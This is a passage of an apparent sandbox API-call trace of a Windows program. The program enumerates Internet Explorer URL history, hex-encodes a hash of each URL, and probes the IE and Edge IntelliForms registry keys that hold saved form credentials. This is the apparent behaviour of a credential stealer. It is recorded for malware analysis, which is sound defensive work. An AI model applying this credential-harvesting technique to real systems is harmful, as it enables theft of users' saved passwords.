[7]=0xee)), pUnkOuter=0x0, dwClsContext=0x5, riid=0x100102e8*(Data1=0x3c374a41, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppv=0xefd60 | out: ppv=0xefd60*=0x74ccd0) returned 0x0 [0053.446] IUrlHistoryStg:EnumUrls (in: This=0x74ccd0, ppenum=0xefd5c | out: ppenum=0xefd5c*=0x75a808) returned 0x0 [0053.451] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.487] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/9-%20yRI8eQIRgN6sI.bmp", lpSrch="?") returned 0x0 [0053.487] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/9-%20yRI8eQIRgN6sI.bmp") returned 98 [0053.487] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="37") returned 2 [0053.487] lstrlenA (lpString="") returned 0 [0053.487] lstrlenA (lpString="37") returned 2 [0053.487] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x7499f8 [0053.487] lstrcpyA (in: lpString1=0x7499f8, lpString2="" | out: lpString1="") returned="" [0053.487] lstrcatA (in: lpString1="", lpString2="37" | out: lpString1="37") returned="37" [0053.487] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D9") returned 2 [0053.487] lstrlenA (lpString="37") returned 2 [0053.487] lstrlenA (lpString="D9") returned 2 [0053.487] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0053.487] lstrcpyA (in: lpString1=0x7175a0, lpString2="37" | out: lpString1="37") returned="37" [0053.487] lstrcatA (in: lpString1="37", lpString2="D9" | out: lpString1="37D9") returned="37D9" [0053.487] LocalFree (hMem=0x7499f8) returned 0x0 [0053.487] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5B") returned 2 [0053.487] lstrlenA (lpString="37D9") returned 4 [0053.487] lstrlenA (lpString="5B") returned 2 [0053.487] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x7499f8 [0053.487] lstrcpyA (in: lpString1=0x7499f8, lpString2="37D9" | out: lpString1="37D9") returned="37D9" [0053.487] lstrcatA (in: lpString1="37D9", lpString2="5B" | out: lpString1="37D95B") returned="37D95B" [0053.487] LocalFree (hMem=0x7175a0) returned 0x0 [0053.487] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="64") returned 2 [0053.487] lstrlenA (lpString="37D95B") returned 6 [0053.487] lstrlenA (lpString="64") returned 2 [0053.487] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x74d4b8 [0053.487] lstrcpyA (in: lpString1=0x74d4b8, lpString2="37D95B" | out: lpString1="37D95B") returned="37D95B" [0053.487] lstrcatA (in: lpString1="37D95B", lpString2="64" | out: lpString1="37D95B64") returned="37D95B64" [0053.487] LocalFree (hMem=0x7499f8) returned 0x0 [0053.487] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2F") returned 2 [0053.487] lstrlenA (lpString="37D95B64") returned 8 [0053.487] lstrlenA (lpString="2F") returned 2 [0053.487] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x716ef8 [0053.487] lstrcpyA (in: lpString1=0x716ef8, lpString2="37D95B64" | out: lpString1="37D95B64") returned="37D95B64" [0053.487] lstrcatA (in: lpString1="37D95B64", lpString2="2F" | out: lpString1="37D95B642F") returned="37D95B642F" [0053.487] LocalFree (hMem=0x74d4b8) returned 0x0 [0053.487] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DD") returned 2 [0053.487] lstrlenA (lpString="37D95B642F") returned 10 [0053.487] lstrlenA (lpString="DD") returned 2 [0053.487] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x74d4b8 [0053.487] lstrcpyA (in: lpString1=0x74d4b8, lpString2="37D95B642F" | out: lpString1="37D95B642F") returned="37D95B642F" [0053.487] lstrcatA (in: lpString1="37D95B642F", lpString2="DD" | out: lpString1="37D95B642FDD") returned="37D95B642FDD" [0053.487] LocalFree (hMem=0x716ef8) returned 0x0 [0053.487] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DC") returned 2 [0053.487] lstrlenA (lpString="37D95B642FDD") returned 12 [0053.487] lstrlenA (lpString="DC") returned 2 [0053.487] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x716ef8 [0053.487] lstrcpyA (in: lpString1=0x716ef8, lpString2="37D95B642FDD" | out: lpString1="37D95B642FDD") returned="37D95B642FDD" [0053.488] lstrcatA (in: lpString1="37D95B642FDD", lpString2="DC" | out: lpString1="37D95B642FDDDC") returned="37D95B642FDDDC" [0053.488] LocalFree (hMem=0x74d4b8) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C2") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDC") returned 14 [0053.488] lstrlenA (lpString="C2") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x74d4b8 [0053.488] lstrcpyA (in: lpString1=0x74d4b8, lpString2="37D95B642FDDDC" | out: lpString1="37D95B642FDDDC") returned="37D95B642FDDDC" [0053.488] lstrcatA (in: lpString1="37D95B642FDDDC", lpString2="C2" | out: lpString1="37D95B642FDDDCC2") returned="37D95B642FDDDCC2" [0053.488] LocalFree (hMem=0x716ef8) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BD") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDCC2") returned 16 [0053.488] lstrlenA (lpString="BD") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x716ef8 [0053.488] lstrcpyA (in: lpString1=0x716ef8, lpString2="37D95B642FDDDCC2" | out: lpString1="37D95B642FDDDCC2") returned="37D95B642FDDDCC2" [0053.488] lstrcatA (in: lpString1="37D95B642FDDDCC2", lpString2="BD" | out: lpString1="37D95B642FDDDCC2BD") returned="37D95B642FDDDCC2BD" [0053.488] LocalFree (hMem=0x74d4b8) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7F") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDCC2BD") returned 18 [0053.488] lstrlenA (lpString="7F") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x74d4b8 [0053.488] lstrcpyA (in: lpString1=0x74d4b8, lpString2="37D95B642FDDDCC2BD" | out: lpString1="37D95B642FDDDCC2BD") returned="37D95B642FDDDCC2BD" [0053.488] lstrcatA (in: lpString1="37D95B642FDDDCC2BD", lpString2="7F" | out: lpString1="37D95B642FDDDCC2BD7F") returned="37D95B642FDDDCC2BD7F" [0053.488] LocalFree (hMem=0x716ef8) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B3") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDCC2BD7F") returned 20 [0053.488] lstrlenA (lpString="B3") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x716ef8 [0053.488] lstrcpyA (in: lpString1=0x716ef8, lpString2="37D95B642FDDDCC2BD7F" | out: lpString1="37D95B642FDDDCC2BD7F") returned="37D95B642FDDDCC2BD7F" [0053.488] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7F", lpString2="B3" | out: lpString1="37D95B642FDDDCC2BD7FB3") returned="37D95B642FDDDCC2BD7FB3" [0053.488] LocalFree (hMem=0x74d4b8) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3B") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDCC2BD7FB3") returned 22 [0053.488] lstrlenA (lpString="3B") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.488] lstrcpyA (in: lpString1=0x758820, lpString2="37D95B642FDDDCC2BD7FB3" | out: lpString1="37D95B642FDDDCC2BD7FB3") returned="37D95B642FDDDCC2BD7FB3" [0053.488] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB3", lpString2="3B" | out: lpString1="37D95B642FDDDCC2BD7FB33B") returned="37D95B642FDDDCC2BD7FB33B" [0053.488] LocalFree (hMem=0x716ef8) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="85") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B") returned 24 [0053.488] lstrlenA (lpString="85") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x7588c8 [0053.488] lstrcpyA (in: lpString1=0x7588c8, lpString2="37D95B642FDDDCC2BD7FB33B" | out: lpString1="37D95B642FDDDCC2BD7FB33B") returned="37D95B642FDDDCC2BD7FB33B" [0053.488] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B", lpString2="85" | out: lpString1="37D95B642FDDDCC2BD7FB33B85") returned="37D95B642FDDDCC2BD7FB33B85" [0053.488] LocalFree (hMem=0x758820) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E8") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85") returned 26 [0053.488] lstrlenA (lpString="E8") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.488] lstrcpyA (in: lpString1=0x758820, lpString2="37D95B642FDDDCC2BD7FB33B85" | out: lpString1="37D95B642FDDDCC2BD7FB33B85") returned="37D95B642FDDDCC2BD7FB33B85" [0053.488] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85", lpString2="E8" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8") returned="37D95B642FDDDCC2BD7FB33B85E8" [0053.488] LocalFree (hMem=0x7588c8) returned 0x0 [0053.488] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="24") returned 2 [0053.488] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85E8") returned 28 [0053.488] lstrlenA (lpString="24") returned 2 [0053.488] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x7588c8 [0053.488] lstrcpyA (in: lpString1=0x7588c8, lpString2="37D95B642FDDDCC2BD7FB33B85E8" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8") returned="37D95B642FDDDCC2BD7FB33B85E8" [0053.489] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85E8", lpString2="24" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E824") returned="37D95B642FDDDCC2BD7FB33B85E824" [0053.489] LocalFree (hMem=0x758820) returned 0x0 [0053.489] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7C") returned 2 [0053.489] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85E824") returned 30 [0053.489] lstrlenA (lpString="7C") returned 2 [0053.489] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.489] lstrcpyA (in: lpString1=0x754820, lpString2="37D95B642FDDDCC2BD7FB33B85E824" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E824") returned="37D95B642FDDDCC2BD7FB33B85E824" [0053.489] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85E824", lpString2="7C" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C") returned="37D95B642FDDDCC2BD7FB33B85E8247C" [0053.489] LocalFree (hMem=0x7588c8) returned 0x0 [0053.489] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="07") returned 2 [0053.489] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85E8247C") returned 32 [0053.489] lstrlenA (lpString="07") returned 2 [0053.489] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x7548d0 [0053.489] lstrcpyA (in: lpString1=0x7548d0, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C") returned="37D95B642FDDDCC2BD7FB33B85E8247C" [0053.489] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C", lpString2="07" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07") returned="37D95B642FDDDCC2BD7FB33B85E8247C07" [0053.489] LocalFree (hMem=0x754820) returned 0x0 [0053.489] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A8") returned 2 [0053.489] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85E8247C07") returned 34 [0053.489] lstrlenA (lpString="A8") returned 2 [0053.489] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.489] lstrcpyA (in: lpString1=0x754820, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07") returned="37D95B642FDDDCC2BD7FB33B85E8247C07" [0053.489] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07", lpString2="A8" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A8") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A8" [0053.489] LocalFree (hMem=0x7548d0) returned 0x0 [0053.489] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="13") returned 2 [0053.489] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85E8247C07A8") returned 36 [0053.489] lstrlenA (lpString="13") returned 2 [0053.489] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0053.489] lstrcpyA (in: lpString1=0x7548d0, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07A8" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A8") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A8" [0053.489] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A8", lpString2="13" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A813") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A813" [0053.489] LocalFree (hMem=0x754820) returned 0x0 [0053.489] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="33") returned 2 [0053.489] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85E8247C07A813") returned 38 [0053.489] lstrlenA (lpString="33") returned 2 [0053.489] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x7508d8 [0053.489] lstrcpyA (in: lpString1=0x7508d8, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07A813" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A813") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A813" [0053.489] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A813", lpString2="33" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A81333" [0053.489] LocalFree (hMem=0x7548d0) returned 0x0 [0053.489] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A5") returned 2 [0053.489] lstrlenA (lpString="37D95B642FDDDCC2BD7FB33B85E8247C07A81333") returned 40 [0053.489] lstrlenA (lpString="A5") returned 2 [0053.489] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750820 [0053.489] lstrcpyA (in: lpString1=0x750820, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07A81333" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A81333" [0053.489] lstrcatA (in: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333", lpString2="A5" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333A5") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A81333A5" [0053.489] LocalFree (hMem=0x7508d8) returned 0x0 [0053.489] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.489] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.489] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.489] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.490] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.490] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.490] LocalFree (hMem=0x750820) returned 0x0 [0053.490] CoTaskMemFree (pv=0x74d3e8) [0053.490] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.490] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/SI8T1qCpbC.bmp", lpSrch="?") returned 0x0 [0053.490] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/SI8T1qCpbC.bmp") returned 66 [0053.490] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DE") returned 2 [0053.490] lstrlenA (lpString="") returned 0 [0053.490] lstrlenA (lpString="DE") returned 2 [0053.490] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x73cc70 [0053.490] lstrcpyA (in: lpString1=0x73cc70, lpString2="" | out: lpString1="") returned="" [0053.490] lstrcatA (in: lpString1="", lpString2="DE" | out: lpString1="DE") returned="DE" [0053.490] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4A") returned 2 [0053.490] lstrlenA (lpString="DE") returned 2 [0053.490] lstrlenA (lpString="4A") returned 2 [0053.490] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74d3e8 [0053.490] lstrcpyA (in: lpString1=0x74d3e8, lpString2="DE" | out: lpString1="DE") returned="DE" [0053.490] lstrcatA (in: lpString1="DE", lpString2="4A" | out: lpString1="DE4A") returned="DE4A" [0053.490] LocalFree (hMem=0x73cc70) returned 0x0 [0053.490] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.490] lstrlenA (lpString="DE4A") returned 4 [0053.490] lstrlenA (lpString="FD") returned 2 [0053.490] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x73cc70 [0053.490] lstrcpyA (in: lpString1=0x73cc70, lpString2="DE4A" | out: lpString1="DE4A") returned="DE4A" [0053.490] lstrcatA (in: lpString1="DE4A", lpString2="FD" | out: lpString1="DE4AFD") returned="DE4AFD" [0053.490] LocalFree (hMem=0x74d3e8) returned 0x0 [0053.490] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2E") returned 2 [0053.490] lstrlenA (lpString="DE4AFD") returned 6 [0053.490] lstrlenA (lpString="2E") returned 2 [0053.490] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x74d3e8 [0053.490] lstrcpyA (in: lpString1=0x74d3e8, lpString2="DE4AFD" | out: lpString1="DE4AFD") returned="DE4AFD" [0053.490] lstrcatA (in: lpString1="DE4AFD", lpString2="2E" | out: lpString1="DE4AFD2E") returned="DE4AFD2E" [0053.490] LocalFree (hMem=0x73cc70) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CC") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2E") returned 8 [0053.491] lstrlenA (lpString="CC") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x73cc70 [0053.491] lstrcpyA (in: lpString1=0x73cc70, lpString2="DE4AFD2E" | out: lpString1="DE4AFD2E") returned="DE4AFD2E" [0053.491] lstrcatA (in: lpString1="DE4AFD2E", lpString2="CC" | out: lpString1="DE4AFD2ECC") returned="DE4AFD2ECC" [0053.491] LocalFree (hMem=0x74d3e8) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC") returned 10 [0053.491] lstrlenA (lpString="7E") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x74d3e8 [0053.491] lstrcpyA (in: lpString1=0x74d3e8, lpString2="DE4AFD2ECC" | out: lpString1="DE4AFD2ECC") returned="DE4AFD2ECC" [0053.491] lstrcatA (in: lpString1="DE4AFD2ECC", lpString2="7E" | out: lpString1="DE4AFD2ECC7E") returned="DE4AFD2ECC7E" [0053.491] LocalFree (hMem=0x73cc70) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E0") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC7E") returned 12 [0053.491] lstrlenA (lpString="E0") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x73cc70 [0053.491] lstrcpyA (in: lpString1=0x73cc70, lpString2="DE4AFD2ECC7E" | out: lpString1="DE4AFD2ECC7E") returned="DE4AFD2ECC7E" [0053.491] lstrcatA (in: lpString1="DE4AFD2ECC7E", lpString2="E0" | out: lpString1="DE4AFD2ECC7EE0") returned="DE4AFD2ECC7EE0" [0053.491] LocalFree (hMem=0x74d3e8) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC7EE0") returned 14 [0053.491] lstrlenA (lpString="67") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x74d3e8 [0053.491] lstrcpyA (in: lpString1=0x74d3e8, lpString2="DE4AFD2ECC7EE0" | out: lpString1="DE4AFD2ECC7EE0") returned="DE4AFD2ECC7EE0" [0053.491] lstrcatA (in: lpString1="DE4AFD2ECC7EE0", lpString2="67" | out: lpString1="DE4AFD2ECC7EE067") returned="DE4AFD2ECC7EE067" [0053.491] LocalFree (hMem=0x73cc70) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC7EE067") returned 16 [0053.491] lstrlenA (lpString="3E") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x73cc70 [0053.491] lstrcpyA (in: lpString1=0x73cc70, lpString2="DE4AFD2ECC7EE067" | out: lpString1="DE4AFD2ECC7EE067") returned="DE4AFD2ECC7EE067" [0053.491] lstrcatA (in: lpString1="DE4AFD2ECC7EE067", lpString2="3E" | out: lpString1="DE4AFD2ECC7EE0673E") returned="DE4AFD2ECC7EE0673E" [0053.491] LocalFree (hMem=0x74d3e8) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="78") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC7EE0673E") returned 18 [0053.491] lstrlenA (lpString="78") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x74d3e8 [0053.491] lstrcpyA (in: lpString1=0x74d3e8, lpString2="DE4AFD2ECC7EE0673E" | out: lpString1="DE4AFD2ECC7EE0673E") returned="DE4AFD2ECC7EE0673E" [0053.491] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E", lpString2="78" | out: lpString1="DE4AFD2ECC7EE0673E78") returned="DE4AFD2ECC7EE0673E78" [0053.491] LocalFree (hMem=0x73cc70) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="40") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC7EE0673E78") returned 20 [0053.491] lstrlenA (lpString="40") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x73cc70 [0053.491] lstrcpyA (in: lpString1=0x73cc70, lpString2="DE4AFD2ECC7EE0673E78" | out: lpString1="DE4AFD2ECC7EE0673E78") returned="DE4AFD2ECC7EE0673E78" [0053.491] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E78", lpString2="40" | out: lpString1="DE4AFD2ECC7EE0673E7840") returned="DE4AFD2ECC7EE0673E7840" [0053.491] LocalFree (hMem=0x74d3e8) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E4") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840") returned 22 [0053.491] lstrlenA (lpString="E4") returned 2 [0053.491] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x7588c8 [0053.491] lstrcpyA (in: lpString1=0x7588c8, lpString2="DE4AFD2ECC7EE0673E7840" | out: lpString1="DE4AFD2ECC7EE0673E7840") returned="DE4AFD2ECC7EE0673E7840" [0053.491] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840", lpString2="E4" | out: lpString1="DE4AFD2ECC7EE0673E7840E4") returned="DE4AFD2ECC7EE0673E7840E4" [0053.491] LocalFree (hMem=0x73cc70) returned 0x0 [0053.491] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E1") returned 2 [0053.491] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4") returned 24 [0053.492] lstrlenA (lpString="E1") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.492] lstrcpyA (in: lpString1=0x758820, lpString2="DE4AFD2ECC7EE0673E7840E4" | out: lpString1="DE4AFD2ECC7EE0673E7840E4") returned="DE4AFD2ECC7EE0673E7840E4" [0053.492] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4", lpString2="E1" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1") returned="DE4AFD2ECC7EE0673E7840E4E1" [0053.492] LocalFree (hMem=0x7588c8) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CD") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1") returned 26 [0053.492] lstrlenA (lpString="CD") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x7588c8 [0053.492] lstrcpyA (in: lpString1=0x7588c8, lpString2="DE4AFD2ECC7EE0673E7840E4E1" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1") returned="DE4AFD2ECC7EE0673E7840E4E1" [0053.492] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4E1", lpString2="CD" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CD") returned="DE4AFD2ECC7EE0673E7840E4E1CD" [0053.492] LocalFree (hMem=0x758820) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D1") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1CD") returned 28 [0053.492] lstrlenA (lpString="D1") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.492] lstrcpyA (in: lpString1=0x758820, lpString2="DE4AFD2ECC7EE0673E7840E4E1CD" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CD") returned="DE4AFD2ECC7EE0673E7840E4E1CD" [0053.492] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4E1CD", lpString2="D1" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1") returned="DE4AFD2ECC7EE0673E7840E4E1CDD1" [0053.492] LocalFree (hMem=0x7588c8) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="10") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1CDD1") returned 30 [0053.492] lstrlenA (lpString="10") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x7548d0 [0053.492] lstrcpyA (in: lpString1=0x7548d0, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD1" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1") returned="DE4AFD2ECC7EE0673E7840E4E1CDD1" [0053.492] lstrcatA (in: 